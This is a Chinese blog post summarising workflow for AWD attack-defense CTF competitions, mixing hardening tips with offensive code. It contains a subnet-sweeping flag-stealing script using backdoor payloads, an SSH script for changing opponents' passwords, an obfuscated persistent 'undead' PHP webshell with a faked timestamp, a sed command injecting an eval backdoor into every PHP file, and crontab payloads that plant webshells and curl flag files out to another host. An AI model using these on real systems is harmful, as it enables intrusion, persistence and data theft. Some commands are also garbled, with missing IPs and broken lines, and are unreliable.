AWD流程总结-纸上谈兵向

AWD流程

0X01 比赛开始前

  1. 登陆平台,查看规则,探索flag提交和获取方式
    • 读根目录
    • curl flag机
import requests
import re

data = {
    'passwd':"system('cat+/home/ctf/flag');"      # 读目录获取flag
    #'passwd':"system('curl flag_ip');"	#curl flag机获得ip 
}

list = []
def shell():
    for i in range(1,255):
        try:
            io = requests.get("http://192-168-1-" + str(i) + ".awd.bugku.cn/e/search/result/1.php?s=print_r(readfile(%27../../../../home/ctf/flag%27))")
            # list.append(io.text[0:38])
            list.append(re.search("flag{.*}", io.text).group(0)[:38])

        except:
            pass
    print(list)


def shell1():
    for i in range(1,255):
        try:
            io = requests.post("http://192-168-1-" + str(i) +".awd.bugku.cn/view/index/images/logo.php",data=data)
            # list.append(io.text[0:38])
            list.append(re.search("flag{.*}", io.text).group(0)[:38])
        except:
            pass
    print(list)

while 1:
    shell()
    # shell1()

    for i in list:
        io = requests.get("https://ctf.bugku.com/awd/submit.html?token=c2c1e4d002daa9eea931888935b0dd86&flag=" + str(i))
        # token 根据场景更改
  1. 观察ssh密码,如为弱密码,比赛开始后马上修改,尝试用脚本修改对手的ssh账号密码
    ps:如果比赛方禁止修改,还是要注意。修改自己的密码也可以用这个脚本
# 文件存储格式为
#ip port username password

import paramiko
import sys

ssh_clients = []
timeout = 5
new_password = "p@ssw0rd"


def get_flag():
    pass


class SSH_Client():
    def __init__(self, host, port, username, password):
        self.is_root = False
        self.host = host
        self.port = port
        self.username = username
        self.password = password
        self.ssh = paramiko.SSHClient()
        self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        self.ssh.connect(self.host, self.port, self.username, self.password, timeout=timeout)

    def exec_command(self, command):
        stdin, stdout, stderr = self.ssh.exec_command(command)
        return stdin, stdout, stderr

    def change_password(self):
        stdin, stdout, stderr = self.exec_command("passwd")
        if self.username != "root":
            stdin.write("%s" % self.password)
        stdin.write("%s" % new_password)
        stdin.write("%s" % new_password)
        stdout.read()
        if "success" in stderr.read().decode('utf-8'):
            self.password = new_password
            return True
        else:
            return False

    def save_log(self, filename):
        with open(filename, "a+") as f:
            f.write("%s %s %s %s
" % (self.host, self.port, self.username, self.password))

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage:")
        print("	 python %s [FILENAME]" % (sys.argv[0]))
        exit(1)
    filename = sys.argv[1]
    print(" [+] Loading file : %s" % filename)
    with open(filename) as f:
        for line in f:
            line = line.rstrip("")
            data = line.split(" ")
            host = data[0]
            port = int(data[1])
            username = data[2]
            password = data[3]
            print(" [+] Trying login : %s" % host)
            try:
                ssh_client = SSH_Client(host, port, username, password)
            except Exception as e:
                print(" [-] %s" % e)
                continue
            ssh_clients.append(ssh_client)
    print(" [+] Login finished. ")
    print(" [+} Got [%d] clients. " % len(ssh_clients))
    if len(ssh_clients) == 0:
        exit()
    print(" [+] Starting changing password. ")
    for ssh_client in ssh_clients:
        if ssh_client.change_password():
            print(" [+] %s (Success!)" % ssh_client.host)
            ssh_client.save_log("success.log")
        else:
            print(" [+] %s (Failed!)" % ssh_client.host)
    print(" [+] something like interesting!!! ")

0X02 比赛开始后

第一个加固阶段

  1. xshell连接,保存密码或者公钥文件
  2. 备份
  • 备份数据库
# 备份
mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库
cd /var/lib/mysql
mysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份
mysqldump --all-databases > 1.sql //备份所有数据库
#还原
mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库
cd /var/lib/mysql
mysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原
  • 备份源码
    xshell连接,xftp下载源码
  1. 使用D盾和seay审计web代码
    • 预留后门一句话
      赛方为了比赛的观赏性和照顾选手的实力差距,会在网站目录下预留后门,这时候需要做三件事:
      • 修复防守机的漏洞,直接删除后门文件或者注释危险函数(eval)
      • 修改攻击脚本,将passwd改成预留后门密码,批量连接shell并提交flag
      • 利用后门上传大马
    • 后门账户
    • 高危函数
      • 命令执行函数 exec()、passthru()、system()、 shell_exec()、popen() 等;
      • 代码执行函数:eval()、assert()、preg_repace()、uasort() 等;
      • 文件包含函数 include() 、require() 等,用正则匹配 grep -r “@eval” /www/,找到后注释掉。
  2. 是否运行特殊进程
    bash find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;
  3. 关闭不必要端口(慎重)
  4. 修改弱密码
  • 修改后台登陆密码:
mysql -u root -p

show databases;

use test;

show tables;

select * from admin;

updata admin set user pass=‘123456’; //updata 表名 set 字段名 = ‘值’;

flush privileges;
  • 修改SQL密码:
方法一:

mysql>set password for root@localhost =password(‘newpwd’);

config.php文件中是有数据库的连接信息,执行完上条命令后更改此文件

方法二:

mysqladmin -u root -p pwd password newpwd

root=用户名; 123456=旧密码; 123=新密码;

  1. 别名
alias curl='echo fuckoff'  权限要求较低
chmod -x curl  权限要求较高
alias curl = 'echo flag{e4248e83e4ca862303053f2908a7020d}' 使用别名,
chmod -x curl  降权,取消执行权限
/usr/bin  curl路径
  1. 加流量分析

    weblogger

   cd /var/www/html/ (or other web dir)   
   git clone https://github.com/wupco/weblogger.git   
   chmod -R 777 weblogger/
  
   open http://xxxxx/weblogger/install.php in Web browser   
   install it
  1. 加waf
  • 先上watchbird,被扣分再换下面这个
  #上传打包好的waf.so和watchbird.php,注意关掉通防
  php watchbird.php --install /var/www/html
  • 或者上Aoi-waf
#本地服务器运行./aoiawd.phar
./tapeworm.phar -d /var/www/html -s ip:port
./roundworm -w /var/www/html -s ip -p port
./guardian.phar -i original -o patched -s ip:port
<?php
//error_reporting(E_ALL);
//ini_set('display_errors', 1);
/*
检测请求方式,除了get和post之外拦截下来并写日志。
*/
if ($_SERVER['REQUEST_METHOD'] != 'POST' && $_SERVER['REQUEST_METHOD'] != 'GET') {
    write_attack_log("method");
}
$url = $_SERVER['REQUEST_URI']; //获取uri来进行检测
$data = file_get_contents('php://input'); //获取post的data,无论是否是mutipa
rt $headers = get_all_headers(); //获取header
filter_attack_keyword(filter_invisible(urldecode(filter_0x25($url)))); //
对URL进行检测,出现问题则拦截并记录filter_attack_keyword(filter_invisible(urldecode(filter_0x25($data))));
//对POST的内容进行检测,出现问题拦截并记录
/*
检测过了则对输入进行简单过滤
*/
foreach ($_GET as $key => $value) {
    $_GET[$key] = filter_dangerous_words($value);
}
foreach ($_POST as $key => $value) {
    $_POST[$key] = filter_dangerous_words($value);
}
foreach ($headers as $key => $value) {
    filter_attack_keyword(filter_invisible(urldecode(filter_0x25($value)))); //对http请求头进行检测,出现问题拦截并记录
    $_SERVER[$key] = filter_dangerous_words($value); //简单过滤
    
}
/*
获取http请求头并写入数组
*/
function get_all_headers() {
    $headers = array();
    foreach ($_SERVER as $key => $value) {
        if (substr($key, 0, 5) === 'HTTP_') {
            $headers[$key] = $value;
        }
    }
    return $headers;
}
/*
检测不可见字符造成的截断和绕过效果,注意网站请求带中文需要简单修改
*/
function filter_invisible($str) {
    for ($i = 0; $i < strlen($str); $i++) {
        $ascii = ord($str[$i]);
        if ($ascii > 126 || $ascii < 32) { //有中文这里要修改
            if (!in_array($ascii, array(9,10,13))) {
                write_attack_log("interrupt");
            } else {
                $str = str_replace($ascii, " ", $str);
            }
        }
    }
    $str = str_replace(array(
        "`",
        "|",
        ";",
        ","
    ) , " ", $str);
    return $str;
}
/*
检测网站程序存在二次编码绕过漏洞造成的%25绕过,此处是循环将%25替换成%,直至不存在%25
*/
function filter_0x25($str) {
    if (strpos($str, "%25") !== false) {
        $str = str_replace("%25", "%", $str);
        return filter_0x25($str);
    } else {
        return $str;
    }
}
/*
攻击关键字检测,此处由于之前将特殊字符替换成空格,即使存在绕过特性也绕不过正则的\b
*/
function filter_attack_keyword($str) {
    if (preg_match("/select\b|insert\b|update\b|drop\b|delete\b|dumpfile\b
|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|m
ultipoint\(/i", $str)) {
        write_attack_log("sqli");
    }

    if (substr_count($str, $_SERVER['PHP_SELF']) < 2) {
        $tmp = str_replace($_SERVER['PHP_SELF'], "", $str);
        if (preg_match("/\.\.|.*\.php[35]{0,1}/i", $tmp)) {
            write_attack_log("LFI/LFR");;
        }
    } else {
        write_attack_log("LFI/LFR");
    }
    if (preg_match("/base64_decode|eval\(|assert\(/i", $str)) {
        write_attack_log("EXEC");
    }
    if (preg_match("/flag/i", $str)) {
        write_attack_log("GETFLAG");
    }
}
/*
简单将易出现问题的字符替换成中文
*/
function filter_dangerous_words($str) {
    $str = str_replace("'", "‘", $str);
    $str = str_replace("\"", "“", $str);
    $str = str_replace("<", "《", $str);
    $str = str_replace(">", "》", $str);
    return $str;
}
/*
获取http的请求包,意义在于获取别人的攻击payload
*/
function get_http_raw() {
    $raw = '';
    $raw.= $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' ' . $_SERVER['SERVER_PROTOCOL'] . "\r\n";
    foreach ($_SERVER as $key => $value) {
        if (substr($key, 0, 5) === 'HTTP_') {
            $key = substr($key, 5);
            $key = str_replace('_', '-', $key);
            $raw.= $key . ': ' . $value . "\r\n";
        }
    }
    $raw.= "\r\n";
    $raw.= file_get_contents('php://input');
    return $raw;
}
/*
这里拦截并记录攻击payload
*/
function write_attack_log($alert) {
    date_default_timezone_set("Asia/Shanghai");
    $data = date("Y/m/d H:i:s") . " --
[" . $alert . "]" . "\r\n" . get_http_raw() . "\r\n\r\n";
    $ffff = fopen('log_is_a_secret_file.txt', 'a'); //日志路径
    fwrite($ffff, $data);
    fclose($ffff);
    if ($alert == 'GETFLAG') {
        header("location:http://172.16.9.2/");
    } else {
        sleep(15); //拦截前延时15}
    exit(0);
}
?>

不死马

<?php
 set_time_limit(0);
 ignore_user_abort(1);
 unlink(_FILE);
 while(1){
  file_put_contents('./.config.php','<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(112).$_uU(64).$_uU(115).$_uU(115).$_uU(119).$_uU(48).$_uU(114).$_uU(100).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>');
  system('chmod 777 .config.php');
  touch("./.config.php",mktime(20,15,1,11,28,2016));   // pwd=p@ssw0rd
  usleep(100);
  }
?>

对所有php文件插入一句话木马:

system/exec/shell_exec/passthru
('find /var/www/html -type f -path \"*.php\" | xargs sed -i \"s/<?php/<?php \\n if(md5(\$_POST[\\\"pass\\\"])==\\\"3a50065e1709acc47ba0c9238294364f\\\"){@eval(\$_POST[a]);};\\n/g\"')

之后的加固阶段

流量分析

如果自己的服务器上被种了shell,删除是肯定的,但是要这样想,如果给你种了shell,那么这种一般是自动化脚本打的,就意味着别的队伍也可能被种,路径密码什么的都一样。

克制不死马

使用条件竞争的方式,不断循环创建和不死马同名的文件和文件夹

#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh
攻击手段

参照web总结

Crontab写马和提交flag

写马

system('echo "* * * * * echo \"<?php  if(md5(\\\\\\\\\$_POST[pass])==\'462d4a0e7cedd6b024a4d99f10c614d1\'){@eval(\\\\\\\\\$_POST[cmd]);}  \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');

提交flag

system('echo "*/5 * * * * curl 10.10.10.5:8000/submit_flag/ -d \'flag=\'$(cat /home/web/flag/flag)\'&token=7gsVbnRb6ToHRMxrP1zTBzQ9BeM05oncH9hUoef7HyXXhSzggQoLM2uXwjy1slr0XOpu8aS0qrY" | crontab;whoami');
linux常用命令
ssh <-p 端口> 用户名@IP  
scp 文件路径  用户名@IP:存放路径    
tar -zcvf web.tar.gz /var/www/html/  
w     
pkill -kill -t <用户tty>     
ps aux | grep pid或者进程名 
 
#查看已建立的网络连接及进程
netstat -antulp | grep EST
 
#查看指定端口被哪个进程占用
lsof -i:端口号 或者 netstat -tunlp|grep 端口号
 
#结束进程命令
kill PID
killall <进程名>  
kill - <PID>  
 
#封杀某个IP或者ip段,如:.  
iptables -I INPUT -s . -j DROP
iptables -I INPUT -s ./ -j DROP
 
#禁止从某个主机ssh远程访问登陆到本机,如123..  
iptable -t filter -A INPUT -s . -p tcp --dport  -j DROP
 
#检测所有的tcp连接数量及状态
netstat -ant|awk  |grep |sed -e  -e |sort|uniq -c|sort -rn
 
#查看页面访问排名前十的IP
cat /var/log/apache2/access.log | cut -f1 -d   | sort | uniq -c | sort -k  -r | head -  
 
#查看页面访问排名前十的URL
cat /var/log/apache2/access.log | cut -f4 -d   | sort | uniq -c | sort -k  -r | head -
  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值